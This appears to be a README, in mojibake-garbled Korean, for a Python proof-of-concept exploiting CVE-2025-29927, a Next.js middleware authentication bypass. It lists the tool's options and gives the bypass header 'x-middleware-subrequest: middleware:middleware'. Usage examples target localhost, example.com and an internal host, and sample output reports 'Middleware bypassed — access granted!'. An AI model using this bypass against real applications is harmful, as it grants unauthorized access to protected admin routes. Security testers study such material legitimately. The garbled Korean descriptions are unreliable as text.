
> ๐ ๊ฐ์์ Next.js ๋ฏธ๋ค์จ์ด ์ฐํ(CVE-2025-29927)๋ฅผ ์ํ ๊ฐ๋ ์ฆ๋ช โ ๋ณดํธ๋ ๋ผ์ฐํธ๋ฅผ ํ ์คํธํ๊ธฐ ์ํ ํ์ ์์ฒญ ์ ์
| ๊ธฐ๋ฅ | ์ค๋ช |
|---|
| โจ ์์ ๋ฐ ์์ธ | ์์ ์ฝ๋ ์ถ๋ ฅ; -v๋ก ์์ธ ๋๋ฒ๊ทธ ๋ก๊ทธ. |
| ๐ฆ OOP ๊ตฌ์กฐ | ๋ช ํ์ฑ๊ณผ ์ ์ง๋ณด์์ฑ์ ์ํ ํด๋์ค ๊ธฐ๋ฐ ์ค๊ณ. |
| ๐ ํ๋ก์ ์ง์ | --proxy๋ฅผ ํตํด HTTP(S) ํ๋ก์๋ก ํธ๋ํฝ ๋ผ์ฐํ
. |
| ๐ช ์ธ์ ์ฒ๋ฆฌ | ์ฟ ํค ๋ฐ ์ฐ๊ฒฐ ์ฌ์ฌ์ฉ์ ์ํ ์ง์์ requests.Session. |
| ๐ฆ ๋ฆฌ๋๋ ์ ์ ์ด | ๊ธฐ๋ณธ์ ์ผ๋ก ๋ฆฌ๋๋ ์ ๋ฏธ์ถ์ข ; ํต๊ณผ/์คํจ ๋ช ํํ ๊ฐ์ง. |
| ๐ ์ฌ์ฉ์ ํค๋ | User-Agent, x-middleware-subrequest ์ฌ์ ์ ๋๋ ํค๋ ์ถ๊ฐ. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
ํ์ ์ฌํญ Python 3.7+
python poc.py [options] <host>[:port]
| ์ต์ | ์ค๋ช |
|---|---|
-p, --path PATH | ๋ณดํธ๋ ๋ผ์ฐํธ ๊ฒฝ๋ก (๊ธฐ๋ณธ๊ฐ: /admin) |
-s, --scheme {http,https} | ํ๋กํ ์ฝ (๊ธฐ๋ณธ๊ฐ: http) |
--header HEADER | x-middleware-subrequest ํค๋ ๊ฐ (๊ธฐ๋ณธ๊ฐ: middleware:middleware) |
-ua, --user-agent AGENT | ์ฌ์ฉ์ ์ ์ User-Agent (๊ธฐ๋ณธ๊ฐ: Mozilla/5.0) |
--proxy PROXY | HTTP(S) ํ๋ก์ URL (์: http://127.0.0.1:8080) |
-v, --verbose | ๋๋ฒ๊ทธ ์ถ๋ ฅ ํ์ฑํ |
-h, --help | ์ด ๋์๋ง ๋ฉ์์ง ํ์ |
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
์ฑ๊ณต
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed โ access granted!
--- Response Snippet ---
<!DOCTYPE html><html>โฆ<title>Admin Panel</title>โฆ
์คํจ
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)